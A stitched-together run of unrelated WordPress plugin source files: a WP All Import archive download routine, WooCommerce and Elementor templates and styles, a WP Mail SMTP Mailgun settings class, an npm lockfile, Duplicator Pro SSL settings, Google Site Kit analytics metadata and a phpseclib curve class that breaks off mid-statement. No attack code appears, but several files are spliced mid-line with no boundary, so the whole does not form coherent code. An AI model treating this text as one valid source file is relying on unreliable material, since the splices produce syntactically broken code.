		$targetDir = ( ! $targetDir ) ? wp_all_import_secure_file($uploads['basedir'] . DIRECTORY_SEPARATOR . PMXI_Plugin::UPLOADS_DIRECTORY ) : $targetDir;

		$tmpname = wp_unique_filename($targetDir, (strlen(basename($filename)) < 30) ? basename($filename) : time() );	
		$localPath = $targetDir  .'/'. urldecode(sanitize_file_name($tmpname));

		$fp = @fopen($localPath, 'w');			
	    $file = @gzopen($filename, 'rb', $use_include_path);

	    if ($file) {
	        $first_chunk = true;
	        while (!gzeof($file)) {
	            $chunk = gzread($file, 1024);
	            if ($first_chunk and strpos($chunk, "<?") !== false and strpos($chunk, "</") !== false) {
	                $type = 'xml';
                    $first_chunk = false;
                    $chunk = substr($chunk, strpos($chunk, "<?"));
	            } // if it's a 1st chunk, then chunk <? symbols to detect XML file
	            @fwrite($fp, $chunk);
	        }
	        gzclose($file);
	    } 
	    else{

	    	$tmpname = wp_unique_filename($targetDir, (strlen(basename($filename)) < 30) ? basename($filename) : time() );	
	    	$localGZpath = $targetDir  .'/'. urldecode(sanitize_file_name($tmpname));
			$request = get_file_curl($filename, $localGZpath, false, true);				

			if ( ! is_wp_error($request) ){

				$file = @gzopen($localGZpath, 'rb', $use_include_path);

				if ($file) {
			        $first_chunk = true;
			        while (!gzeof($file)) {
			            $chunk = gzread($file, 1024);			            
			            if ($first_chunk and strpos($chunk, "<?") !== false and strpos($chunk, "</") !== false) {
			                $type = 'xml';
                            $first_chunk = false;
                            $chunk = substr($chunk, strpos($chunk, "<?"));
			            } // if it's a 1st chunk, then chunk <? symbols to detect XML file
			            @fwrite($fp, $chunk);
			        }
			        gzclose($file);
			    } 

			    @unlink($localGZpath);

			}
			else return $request;

	    }
	    @fclose($fp);	    	    	    

	    if (strpos($headers['Content-Disposition'], 'tar.gz') !== false && class_exists('PharData'))
		{
			rename($localPath, $localPath . '.tar');
			$phar = new PharData($localPath . '.tar');
			$phar->extractTo($targetDir);
			@unlink($localPath . '.tar');

			$scanned_files = @scandir($targetDir);
			if (!empty($scanned_files) and is_array($scanned_files)){
			   	$files = array_diff($scanned_files, array('.','..'));
			    if (!empty($files)){
				    foreach ($files as $file) {
				    	if (preg_match('%\W(csv|xml|json|sql|txt|xls|xlsx)$%i', basename($file)))
				    	{
				    		$localPath = $targetDir . DIRECTORY_SEPARATOR . $file;
				    		break;
				    	}
				    }
				}
			}
		}

	    if (preg_match('%\W(gz)$%i', basename($localPath))){		    	
		    if (@rename($localPath, str_replace('.gz', '.' . $type, $localPath)))
		    	$localPath = str_replace('.gz', '.' . $type, $localPath);
		}
		else{
			if (@rename($localPath, $localPath . '.' . $type))
		    	$localPath = $localPath . '.' . $type;
		}
	   
	    return array('type' => $type, 'localPath' => $localPath);
	}
}<?php declare(strict_types=1);

namespace Automattic\WooCommerce\Vendor\League\Container\Definition;

use IteratorAggregate;
use Automattic\WooCommerce\Vendor\League\Container\ContainerAwareInterface;

interface DefinitionAggregateInterface extends ContainerAwareInterface, IteratorAggregate
{
    /**
     * Add a definition to the aggregate.
     *
     * @param string  $id
     * @param mixed   $definition
     * @param boolean $shared
     *
     * @return DefinitionInterface
     */
    public function add(string $id, $definition, bool $shared = false) : DefinitionInterface;

    /**
     * Checks whether alias exists as definition.
     *
     * @param string $id
     *
     * @return boolean
     */
    public function has(string $id) : bool;

    /**
     * Checks whether tag exists as definition.
     *
     * @param string $tag
     *
     * @return boolean
     */
    public function hasTag(string $tag) : bool;

    /**
     * Get the definition to be extended.
     *
     * @param string $id
     *
     * @return DefinitionInterface
     */
    public function getDefinition(string $id) : DefinitionInterface;

    /**
     * Resolve and build a concrete value from an id/alias.
     *
     * @param string  $id
     * @param boolean $new
     *
     * @return mixed
     */
    public function resolve(string $id, bool $new = false);

    /**
     * Resolve and build an array of concrete values from a tag.
     *
     * @param string  $tag
     * @param boolean $new
     *
     * @return mixed
     */
    public function resolveTagged(string $tag, bool $new = false);
}
/*! elementor-pro - v3.4.2 - 12-10-2021 */
.e-lottie__container{display:inline-block;max-width:var(--lottie-container-max-width);width:var(--lottie-container-width);opacity:var(--lottie-container-opacity)}.e-lottie__container:hover{opacity:var(--lottie-container-opacity-hover);-webkit-transition-duration:var(--lottie-container-transition-duration-hover);-o-transition-duration:var(--lottie-container-transition-duration-hover);transition-duration:var(--lottie-container-transition-duration-hover)}.e-lottie__container svg,.e-lottie__container svg *{-webkit-transition:none!important;-o-transition:none!important;transition:none!important}.e-lottie__caption{color:var(--caption-color);margin-top:var(--caption-margin-top);text-align:var(--caption-text-align)}.editor-styles-wrapper .wp-block-woocommerce-attribute-filter {
	// We need to override it because by default the global styles applied the border-style: solid;
	// Our goal is not to have a border on main wrapper DOM element
	border-style: none !important;
}


.wc-block-attribute-filter {
	.components-placeholder__instructions {
		border-bottom: 1px solid #e0e2e6;
		width: 100%;
		padding-bottom: 1em;
		margin-bottom: 2em;
	}
	.components-placeholder__label svg {
		fill: currentColor;
		margin-right: 1ch;
	}
	.components-placeholder__fieldset {
		display: block; /* Disable flex box */
	}
	.woocommerce-search-list__search {
		border-top: 0;
		margin-top: 0;
		padding-top: 0;
	}
	.wc-block-attribute-filter__add-attribute-button {
		margin: 0 0 1em;
		vertical-align: middle;
		height: auto;
		padding: 0.5em 1em;

		svg {
			fill: currentColor;
			margin-left: 0.5ch;
			vertical-align: middle;
		}
	}
	.wc-block-attribute-filter__read_more_button {
		display: block;
		margin-bottom: 1em;
	}

	.components-disabled {
		border-radius: inherit;
		border-color: inherit;
	}

}

.wc-block-attribute-filter .components-notice__content {
	color: $black;
}
<?php
/**
 * Checkout login form
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/checkout/form-login.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 3.8.0
 */

defined( 'ABSPATH' ) || exit;

if ( is_user_logged_in() || 'no' === get_option( 'woocommerce_enable_checkout_login_reminder' ) ) {
	return;
}

?>
<div class="woocommerce-form-login-toggle">
	<?php wc_print_notice( apply_filters( 'woocommerce_checkout_login_message', esc_html__( 'Returning customer?', 'woocommerce' ) ) . ' <a href="#" class="showlogin">' . esc_html__( 'Click here to login', 'woocommerce' ) . '</a>', 'notice' ); ?>
</div>
<?php

woocommerce_login_form(
	array(
		'message'  => esc_html__( 'If you have shopped with us before, please enter your details below. If you are a new customer, please proceed to the Billing section.', 'woocommerce' ),
		'redirect' => wc_get_checkout_url(),
		'hidden'   => true,
	)
);
<?php

namespace WPMailSMTP\Providers\Mailgun;

use WPMailSMTP\Providers\OptionsAbstract;

/**
 * Class Option.
 *
 * @since 1.0.0
 */
class Options extends OptionsAbstract {

	/**
	 * Mailgun constructor.
	 *
	 * @since 1.0.0
	 */
	public function __construct() {

		parent::__construct(
			array(
				'logo_url'    => wp_mail_smtp()->assets_url . '/images/providers/mailgun.svg',
				'slug'        => 'mailgun',
				'title'       => esc_html__( 'Mailgun', 'wp-mail-smtp' ),
				'description' => sprintf(
					wp_kses(
						/* translators: %1$s - URL to mailgun.com; %2$s - URL to Mailgun documentation on wpmailsmtp.com */
						__( '<a href="%1$s" target="_blank" rel="noopener noreferrer">Mailgun</a> is a transactional email provider that offers a generous 3-month free trial. After that, it offers a \'Pay As You Grow\' plan that allows you to pay for what you use without committing to a fixed monthly rate.<br><br>To get started, read our <a href="%2$s" target="_blank" rel="noopener noreferrer">Mailgun documentation</a>.', 'wp-mail-smtp' ),
						array(
							'br' => array(),
							'a'  => array(
								'href'   => array(),
								'rel'    => array(),
								'target' => array(),
							),
						)
					),
					'https://www.mailgun.com',
					'https://wpmailsmtp.com/docs/how-to-set-up-the-mailgun-mailer-in-wp-mail-smtp/'
				),
			)
		);
	}

	/**
	 * @inheritdoc
	 */
	public function display_options() {
		?>

		<!-- API Key -->
		<div id="wp-mail-smtp-setting-row-<?php echo esc_attr( $this->get_slug() ); ?>-api_key" class="wp-mail-smtp-setting-row wp-mail-smtp-setting-row-text wp-mail-smtp-clear">
			<div class="wp-mail-smtp-setting-label">
				<label for="wp-mail-smtp-setting-<?php echo esc_attr( $this->get_slug() ); ?>-api_key"><?php esc_html_e( 'Private API Key', 'wp-mail-smtp' ); ?></label>
			</div>
			<div class="wp-mail-smtp-setting-field">
				<?php if ( $this->options->is_const_defined( $this->get_slug(), 'api_key' ) ) : ?>
					<input type="text" disabled value="****************************************"
						id="wp-mail-smtp-setting-<?php echo esc_attr( $this->get_slug() ); ?>-api_key"
					/>
					<?php $this->display_const_set_message( 'WPMS_MAILGUN_API_KEY' ); ?>
				<?php else : ?>
					<input type="password" spellcheck="false"
						name="wp-mail-smtp[<?php echo esc_attr( $this->get_slug() ); ?>][api_key]"
						value="<?php echo esc_attr( $this->options->get( $this->get_slug(), 'api_key' ) ); ?>"
						id="wp-mail-smtp-setting-<?php echo esc_attr( $this->get_slug() ); ?>-api_key"
					/>
				<?php endif; ?>
				<p class="desc">
					<?php
					printf(
						/* translators: %s - API key link. */
						esc_html__( 'Follow this link to get an API Key from Mailgun: %s.', 'wp-mail-smtp' ),
						'<a href="https://app.mailgun.com/app/account/security/api_keys" target="_blank" rel="noopener noreferrer">' .
						esc_html__( 'Get a Private API Key', 'wp-mail-smtp' ) .
						'</a>'
					);
					?>
				</p>
			</div>
		</div>

		<!-- Domain -->
		<div id="wp-mail-smtp-setting-row-<?php echo esc_attr( $this->get_slug() ); ?>-domain" class="wp-mail-smtp-setting-row wp-mail-smtp-setting-row-text wp-mail-smtp-clear">
			<div class="wp-mail-smtp-setting-label">
				<label for="wp-mail-smtp-setting-<?php echo esc_attr( $this->get_slug() ); ?>-domain"><?php esc_html_e( 'Domain Name', 'wp-mail-smtp' ); ?></label>
			</div>
			<div class="wp-mail-smtp-setting-field">
				<input name="wp-mail-smtp[<?php echo esc_attr( $this->get_slug() ); ?>][domain]" type="text"
					value="<?php echo esc_attr( $this->options->get( $this->get_slug(), 'domain' ) ); ?>"
					<?php echo $this->options->is_const_defined( $this->get_slug(), 'domain' ) ? 'disabled' : ''; ?>
					id="wp-mail-smtp-setting-<?php echo esc_attr( $this->get_slug() ); ?>-domain" spellcheck="false"
				/>
				<p class="desc">
					<?php
					printf(
						/* translators: %s - Domain Name link. */
						esc_html__( 'Follow this link to get a Domain Name from Mailgun: %s.', 'wp-mail-smtp' ),
						'<a href="https://app.mailgun.com/app/domains" target="_blank" rel="noopener noreferrer">' .
						esc_html__( 'Get a Domain Name', 'wp-mail-smtp' ) .
						'</a>'
					);
					?>
				</p>
			</div>
		</div>

		<!-- Region -->
		<div id="wp-mail-smtp-setting-row-<?php echo esc_attr( $this->get_slug() ); ?>-region" class="wp-mail-smtp-setting-row wp-mail-smtp-setting-row-radio wp-mail-smtp-clear">
			<div class="wp-mail-smtp-setting-label">
				<label><?php esc_html_e( 'Region', 'wp-mail-smtp' ); ?></label>
			</div>
			<div class="wp-mail-smtp-setting-field">

				<label for="wp-mail-smtp-setting-<?php echo esc_attr( $this->get_slug() ); ?>-region-us">
					<input type="radio" id="wp-mail-smtp-setting-<?php echo esc_attr( $this->get_slug() ); ?>-region-us"
						name="wp-mail-smtp[<?php echo esc_attr( $this->get_slug() ); ?>][region]" value="US"
						<?php echo $this->options->is_const_defined( $this->get_slug(), 'region' ) ? 'disabled' : ''; ?>
						<?php checked( 'US', $this->options->get( $this->get_slug(), 'region' ) ); ?>
					/>
					<?php esc_html_e( 'US', 'wp-mail-smtp' ); ?>
				</label>

				<label for="wp-mail-smtp-setting-<?php echo esc_attr( $this->get_slug() ); ?>-region-eu">
					<input type="radio" id="wp-mail-smtp-setting-<?php echo esc_attr( $this->get_slug() ); ?>-region-eu"
						name="wp-mail-smtp[<?php echo esc_attr( $this->get_slug() ); ?>][region]" value="EU"
						<?php echo $this->options->is_const_defined( $this->get_slug(), 'region' ) ? 'disabled' : ''; ?>
						<?php checked( 'EU', $this->options->get( $this->get_slug(), 'region' ) ); ?>
					/>
					<?php esc_html_e( 'EU', 'wp-mail-smtp' ); ?>
				</label>

				<p class="desc">
					<?php esc_html_e( 'Define which endpoint you want to use for sending messages.', 'wp-mail-smtp' ); ?><br>
					<?php esc_html_e( 'If you are operating under EU laws, you may be required to use EU region.', 'wp-mail-smtp' ); ?>
					<?php
					printf(
						wp_kses(
							/* translators: %s - URL to Mailgun.com page. */
							__( '<a href="%s" rel="" target="_blank">More information</a> on Mailgun.com.', 'wp-mail-smtp' ),
							array(
								'a' => array(
									'href'   => array(),
									'rel'    => array(),
									'target' => array(),
								),
							)
						),
						'https://www.mailgun.com/regions'
					);
					?>
				</p>
			</div>
		</div>

		<?php
	}
}
{
	"name": "litespeed-cache",
	"lockfileVersion": 3,
	"requires": true,
	"packages": {
		"": {
			"name": "litespeed-cache",
			"license": "GPLv3",
			"devDependencies": {
				"@prettier/plugin-php": "^0.21.0",
				"prettier": "^3.0.3"
			}
		},
		"node_modules/@prettier/plugin-php": {
			"version": "0.21.0",
			"resolved": "https://registry.npmjs.org/@prettier/plugin-php/-/plugin-php-0.21.0.tgz",
			"integrity": "sha512-vWC6HIUUfhvl/7F5IxVQ0ItGB/7ZY+jDlX7KsTqvfKMODW/zvzj8r1Ab4harS22+O3xxHykVVd5jvylmxMMctg==",
			"dev": true,
			"dependencies": {
				"linguist-languages": "^7.21.0",
				"mem": "^9.0.2",
				"php-parser": "^3.1.5"
			},
			"peerDependencies": {
				"prettier": "^3.0.0"
			}
		},
		"node_modules/linguist-languages": {
			"version": "7.27.0",
			"resolved": "https://registry.npmjs.org/linguist-languages/-/linguist-languages-7.27.0.tgz",
			"integrity": "sha512-Wzx/22c5Jsv2ag+uKy+ITanGA5hzvBZngrNGDXLTC7ZjGM6FLCYGgomauTkxNJeP9of353OM0pWqngYA180xgw==",
			"dev": true
		},
		"node_modules/map-age-cleaner": {
			"version": "0.1.3",
			"resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.3.tgz",
			"integrity": "sha512-bJzx6nMoP6PDLPBFmg7+xRKeFZvFboMrGlxmNj9ClvX53KrmvM5bXFXEWjbz4cz1AFn+jWJ9z/DJSz7hrs0w3w==",
			"dev": true,
			"dependencies": {
				"p-defer": "^1.0.0"
			},
			"engines": {
				"node": ">=6"
			}
		},
		"node_modules/mem": {
			"version": "9.0.2",
			"resolved": "https://registry.npmjs.org/mem/-/mem-9.0.2.tgz",
			"integrity": "sha512-F2t4YIv9XQUBHt6AOJ0y7lSmP1+cY7Fm1DRh9GClTGzKST7UWLMx6ly9WZdLH/G/ppM5RL4MlQfRT71ri9t19A==",
			"dev": true,
			"dependencies": {
				"map-age-cleaner": "^0.1.3",
				"mimic-fn": "^4.0.0"
			},
			"engines": {
				"node": ">=12.20"
			},
			"funding": {
				"url": "https://github.com/sindresorhus/mem?sponsor=1"
			}
		},
		"node_modules/mimic-fn": {
			"version": "4.0.0",
			"resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-4.0.0.tgz",
			"integrity": "sha512-vqiC06CuhBTUdZH+RYl8sFrL096vA45Ok5ISO6sE/Mr1jRbGH4Csnhi8f3wKVl7x8mO4Au7Ir9D3Oyv1VYMFJw==",
			"dev": true,
			"engines": {
				"node": ">=12"
			},
			"funding": {
				"url": "https://github.com/sponsors/sindresorhus"
			}
		},
		"node_modules/p-defer": {
			"version": "1.0.0",
			"resolved": "https://registry.npmjs.org/p-defer/-/p-defer-1.0.0.tgz",
			"integrity": "sha512-wB3wfAxZpk2AzOfUMJNL+d36xothRSyj8EXOa4f6GMqYDN9BJaaSISbsk+wS9abmnebVw95C2Kb5t85UmpCxuw==",
			"dev": true,
			"engines": {
				"node": ">=4"
			}
		},
		"node_modules/php-parser": {
			"version": "3.1.5",
			"resolved": "https://registry.npmjs.org/php-parser/-/php-parser-3.1.5.tgz",
			"integrity": "sha512-jEY2DcbgCm5aclzBdfW86GM6VEIWcSlhTBSHN1qhJguVePlYe28GhwS0yoeLYXpM2K8y6wzLwrbq814n2PHSoQ==",
			"dev": true
		},
		"node_modules/prettier": {
			"version": "3.0.3",
			"resolved": "https://registry.npmjs.org/prettier/-/prettier-3.0.3.tgz",
			"integrity": "sha512-L/4pUDMxcNa8R/EthV08Zt42WBO4h1rarVtK0K+QJG0X187OLo7l699jWw0GKuwzkPQ//jMFA/8Xm6Fh3J/DAg==",
			"dev": true,
			"bin": {
				"prettier": "bin/prettier.cjs"
			},
			"engines": {
				"node": ">=14"
			},
			"funding": {
				"url": "https://github.com/prettier/prettier?sponsor=1"
			}
		}
	}
}
<?php
/**
 * Copyright (C) 2014-2025 ServMask Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 * Attribution: This code is part of the All-in-One WP Migration plugin, developed by
 *
 * ███████╗███████╗██████╗ ██╗   ██╗███╗   ███╗ █████╗ ███████╗██╗  ██╗
 * ██╔════╝██╔════╝██╔══██╗██║   ██║████╗ ████║██╔══██╗██╔════╝██║ ██╔╝
 * ███████╗█████╗  ██████╔╝██║   ██║██╔████╔██║███████║███████╗█████╔╝
 * ╚════██║██╔══╝  ██╔══██╗╚██╗ ██╔╝██║╚██╔╝██║██╔══██║╚════██║██╔═██╗
 * ███████║███████╗██║  ██║ ╚████╔╝ ██║ ╚═╝ ██║██║  ██║███████║██║  ██╗
 * ╚══════╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚═╝     ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
 */

if ( ! defined( 'ABSPATH' ) ) {
	die( 'Kangaroos cannot jump here' );
}

class Ai1wm_Import_Clean {

	public static function execute( $params ) {
		// Get database client
		$db_client = Ai1wm_Database_Utility::get_client();

		// Flush mainsite tables
		$db_client->add_table_prefix_filter( ai1wm_table_prefix( 'mainsite' ) );
		$db_client->flush();

		// Trigger import cancel action
		if ( isset( $params['ai1wm_import_cancel'] ) ) {
			do_action( 'ai1wm_status_import_canceled', $params );
		} else {
			do_action( 'ai1wm_status_import_done', $params );
		}

		// Delete storage files
		Ai1wm_Directory::delete( ai1wm_storage_path( $params ) );

		// Exit in console
		if ( defined( 'WP_CLI' ) ) {
			return $params;
		}

		exit;
	}
}
<?php
defined("ABSPATH") or die("");

$global = DUP_PRO_Global_Entity::get_instance();
?>
<form id="dup-settings-form" action="<?php echo DUP_PRO_CTRL_Storage_Setting::getSubTabURL(DUP_PRO_CTRL_Storage_Setting::TAB_SSL); ?>" method="post" data-parsley-validate>
    <?php require('hidden.fields.widget.php'); ?>
    <!-- ===============================
    SSL SETTINGS -->
    <p class="description" style="color:maroon">
        <?php DUP_PRO_U::esc_html_e("Do not modify SSL settings unless you know the expected result or have talked to support."); ?>
    </p>
    <table class="form-table">
        <tr valign="top">
            <th scope="row"><label><?php DUP_PRO_U::esc_html_e("Use server's SSL certificates"); ?></label></th>
            <td>
                <input type="checkbox" name="ssl_useservercerts" id="ssl_useservercerts" <?php echo DUP_PRO_UI::echoChecked($global->ssl_useservercerts); ?> />
                <p class="description">
                    <?php
                    DUP_PRO_U::esc_html_e("To use server's SSL certificates please enble it. By default Duplicator Pro uses By default uses its own store of SSL certificates to verify the identity of remote storage sites.");
                    ?>
                </p>
            </td>
        </tr>
        <tr valign="top">
            <th scope="row"><label><?php DUP_PRO_U::esc_html_e("Disable verification of SSL certificates"); ?></label></th>
            <td>
                <input type="checkbox" name="ssl_disableverify" id="ssl_disableverify" <?php echo DUP_PRO_UI::echoChecked($global->ssl_disableverify); ?> />
                <p class="description">
                    <?php
                    DUP_PRO_U::esc_html_e("To disable verification of a host and the peer's SSL certificate.");
                    ?>
                </p>
            </td>
        </tr>
        <tr valign="top">
            <th scope="row"><label><?php DUP_PRO_U::esc_html_e("Use IPv4 only"); ?></label></th>
            <td>
                <input type="checkbox" name="ipv4_only" id="ipv4_only" <?php echo DUP_PRO_UI::echoChecked($global->ipv4_only); ?> />
                <p class="description">
                    <?php
                    DUP_PRO_U::esc_html_e("To use IPv4 only, which can help if your host has a broken IPv6 setup (currently only supported by Google Drive)");
                    ?>
                </p>
            </td>
        </tr>
    </table>
    <p class="submit dpro-save-submit">
        <input type="submit" name="submit" id="submit" class="button-primary" value="<?php DUP_PRO_U::esc_attr_e('Save Storage Settings') ?>" style="display: inline-block;" />
    </p>
</form><?php

/*
 * Copyright 2014 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not
 * use this file except in compliance with the License. You may obtain a copy of
 * the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
 * License for the specific language governing permissions and limitations under
 * the License.
 */
namespace Google\Site_Kit_Dependencies\Google\Service\AnalyticsData;

class MetricMetadata extends \Google\Site_Kit_Dependencies\Google\Collection
{
    /**
     * Unspecified type.
     */
    public const TYPE_METRIC_TYPE_UNSPECIFIED = 'METRIC_TYPE_UNSPECIFIED';
    /**
     * Integer type.
     */
    public const TYPE_TYPE_INTEGER = 'TYPE_INTEGER';
    /**
     * Floating point type.
     */
    public const TYPE_TYPE_FLOAT = 'TYPE_FLOAT';
    /**
     * A duration of seconds; a special floating point type.
     */
    public const TYPE_TYPE_SECONDS = 'TYPE_SECONDS';
    /**
     * A duration in milliseconds; a special floating point type.
     */
    public const TYPE_TYPE_MILLISECONDS = 'TYPE_MILLISECONDS';
    /**
     * A duration in minutes; a special floating point type.
     */
    public const TYPE_TYPE_MINUTES = 'TYPE_MINUTES';
    /**
     * A duration in hours; a special floating point type.
     */
    public const TYPE_TYPE_HOURS = 'TYPE_HOURS';
    /**
     * A custom metric of standard type; a special floating point type.
     */
    public const TYPE_TYPE_STANDARD = 'TYPE_STANDARD';
    /**
     * An amount of money; a special floating point type.
     */
    public const TYPE_TYPE_CURRENCY = 'TYPE_CURRENCY';
    /**
     * A length in feet; a special floating point type.
     */
    public const TYPE_TYPE_FEET = 'TYPE_FEET';
    /**
     * A length in miles; a special floating point type.
     */
    public const TYPE_TYPE_MILES = 'TYPE_MILES';
    /**
     * A length in meters; a special floating point type.
     */
    public const TYPE_TYPE_METERS = 'TYPE_METERS';
    /**
     * A length in kilometers; a special floating point type.
     */
    public const TYPE_TYPE_KILOMETERS = 'TYPE_KILOMETERS';
    protected $collection_key = 'deprecatedApiNames';
    /**
     * A metric name. Useable in [Metric](#Metric)'s `name`. For example,
     * `eventCount`.
     *
     * @var string
     */
    public $apiName;
    /**
     * If reasons are specified, your access is blocked to this metric for this
     * property. API requests from you to this property for this metric will
     * succeed; however, the report will contain only zeros for this metric. API
     * requests with metric filters on blocked metrics will fail. If reasons are
     * empty, you have access to this metric. To learn more, see [Access and data-
     * restriction
     * management](https://support.google.com/analytics/answer/10851388).
     *
     * @var string[]
     */
    public $blockedReasons;
    /**
     * The display name of the category that this metrics belongs to. Similar
     * dimensions and metrics are categorized together.
     *
     * @var string
     */
    public $category;
    /**
     * True if the metric is a custom metric for this property.
     *
     * @var bool
     */
    public $customDefinition;
    /**
     * Still usable but deprecated names for this metric. If populated, this
     * metric is available by either `apiName` or one of `deprecatedApiNames` for
     * a period of time. After the deprecation period, the metric will be
     * available only by `apiName`.
     *
     * @var string[]
     */
    public $deprecatedApiNames;
    /**
     * Description of how this metric is used and calculated.
     *
     * @var string
     */
    public $description;
    /**
     * The mathematical expression for this derived metric. Can be used in
     * [Metric](#Metric)'s `expression` field for equivalent reports. Most metrics
     * are not expressions, and for non-expressions, this field is empty.
     *
     * @var string
     */
    public $expression;
    /**
     * The type of this metric.
     *
     * @var string
     */
    public $type;
    /**
     * This metric's name within the Google Analytics user interface. For example,
     * `Event count`.
     *
     * @var string
     */
    public $uiName;
    /**
     * A metric name. Useable in [Metric](#Metric)'s `name`. For example,
     * `eventCount`.
     *
     * @param string $apiName
     */
    public function setApiName($apiName)
    {
        $this->apiName = $apiName;
    }
    /**
     * @return string
     */
    public function getApiName()
    {
        return $this->apiName;
    }
    /**
     * If reasons are specified, your access is blocked to this metric for this
     * property. API requests from you to this property for this metric will
     * succeed; however, the report will contain only zeros for this metric. API
     * requests with metric filters on blocked metrics will fail. If reasons are
     * empty, you have access to this metric. To learn more, see [Access and data-
     * restriction
     * management](https://support.google.com/analytics/answer/10851388).
     *
     * @param string[] $blockedReasons
     */
    public function setBlockedReasons($blockedReasons)
    {
        $this->blockedReasons = $blockedReasons;
    }
    /**
     * @return string[]
     */
    public function getBlockedReasons()
    {
        return $this->blockedReasons;
    }
    /**
     * The display name of the category that this metrics belongs to. Similar
     * dimensions and metrics are categorized together.
     *
     * @param string $category
     */
    public function setCategory($category)
    {
        $this->category = $category;
    }
    /**
     * @return string
     */
    public function getCategory()
    {
        return $this->category;
    }
    /**
     * True if the metric is a custom metric for this property.
     *
     * @param bool $customDefinition
     */
    public function setCustomDefinition($customDefinition)
    {
        $this->customDefinition = $customDefinition;
    }
    /**
     * @return bool
     */
    public function getCustomDefinition()
    {
        return $this->customDefinition;
    }
    /**
     * Still usable but deprecated names for this metric. If populated, this
     * metric is available by either `apiName` or one of `deprecatedApiNames` for
     * a period of time. After the deprecation period, the metric will be
     * available only by `apiName`.
     *
     * @param string[] $deprecatedApiNames
     */
    public function setDeprecatedApiNames($deprecatedApiNames)
    {
        $this->deprecatedApiNames = $deprecatedApiNames;
    }
    /**
     * @return string[]
     */
    public function getDeprecatedApiNames()
    {
        return $this->deprecatedApiNames;
    }
    /**
     * Description of how this metric is used and calculated.
     *
     * @param string $description
     */
    public function setDescription($description)
    {
        $this->description = $description;
    }
    /**
     * @return string
     */
    public function getDescription()
    {
        return $this->description;
    }
    /**
     * The mathematical expression for this derived metric. Can be used in
     * [Metric](#Metric)'s `expression` field for equivalent reports. Most metrics
     * are not expressions, and for non-expressions, this field is empty.
     *
     * @param string $expression
     */
    public function setExpression($expression)
    {
        $this->expression = $expression;
    }
    /**
     * @return string
     */
    public function getExpression()
    {
        return $this->expression;
    }
    /**
     * The type of this metric.
     *
     * Accepted values: METRIC_TYPE_UNSPECIFIED, TYPE_INTEGER, TYPE_FLOAT,
     * TYPE_SECONDS, TYPE_MILLISECONDS, TYPE_MINUTES, TYPE_HOURS, TYPE_STANDARD,
     * TYPE_CURRENCY, TYPE_FEET, TYPE_MILES, TYPE_METERS, TYPE_KILOMETERS
     *
     * @param self::TYPE_* $type
     */
    public function setType($type)
    {
        $this->type = $type;
    }
    /**
     * @return self::TYPE_*
     */
    public function getType()
    {
        return $this->type;
    }
    /**
     * This metric's name within the Google Analytics user interface. For example,
     * `Event count`.
     *
     * @param string $uiName
     */
    public function setUiName($uiName)
    {
        $this->uiName = $uiName;
    }
    /**
     * @return string
     */
    public function getUiName()
    {
        return $this->uiName;
    }
}
// Adding a class alias for backwards compatibility with the previous class name.
class_alias(MetricMetadata::class, 'Google\Site_Kit_Dependencies\Google_Service_AnalyticsData_MetricMetadata');
<?php

namespace Elementor\Modules\WpRest\Classes;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Elementor_User_Meta {

	private function get_meta_config(): array {
		return [
			'elementor_introduction' => [
				'schema' => [
					'description' => 'Elementor user meta data',
					'type' => 'object',
					'properties' => [
						'ai_get_started' => [
							'type' => 'boolean',
						],
					],
					'additionalProperties' => true,
					'context' => [ 'view', 'edit' ],
				],
			],
		];
	}

	public function register(): void {
		foreach ( $this->get_meta_config() as $key => $config ) {
			$config['get_callback'] = function( $user, $field_name, $request ) {
				return get_user_meta( $user['id'], $field_name, true );
			};

			$config['update_callback'] = function( $meta_value, \WP_User $user, $field_name, $request ) {
				if ( 'PATCH' === $request->get_method() ) {
					$existing = get_user_meta( $user->ID, $field_name, true );
					if ( is_array( $existing ) && is_array( $meta_value ) ) {
						$meta_value = array_merge( $existing, $meta_value );
					}
				}

				return update_user_meta( $user->ID, $field_name, $meta_value );
			};

			register_rest_field( 'user', $key, $config );
		}
	}
}
<?php

/**
 * sect409r1
 *
 * PHP version 5 and 7
 *
 * @category  Crypt
 * @package   EC
 * @author    Jim Wiggint  on <terrafrost@php.net>
 * @copyright 2017 Jim Wigginton
 * @license   http://www.opensource.org/licenses/mit-license.html  MIT License
 * @link      http://pear.php.net/package/Math_BigInteger
 */

namespace phpseclib3\Crypt\EC\Curves;

use phpseclib3\Crypt\EC\BaseCurves\Binary;
use phpseclib3\Math\BigInteger;

class sect409r1 extends Binary
{
    public function __construct()
    {
        $this->setModulo(409, 87, 0);
        $this->setCoefficients(
            '00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001',
            '0021A5C2C8EE9FEB5C4B9A753B7B476B7FD6422EF1F3DD674761FA99D6AC27C8A9A197B272822F6CD57A55AA4F50AE317B13545F'
        );
        $this->setBasePoint(
            '015D4860D088DDB3496B0C6064756260441CDE4AF1771D4DB01FFE5B34E59703DC255A868A1180515603AEAB60794E54BB7996A7',
            '0061B1CFAB6BE5F32BBFA78324ED106A7636B9C5A7BD198D0158AA4F5488D08F38514F1FDF4B4F40D2181B3681C364BA0273C706'
        );
        $this->setOrder(new BigInteger(
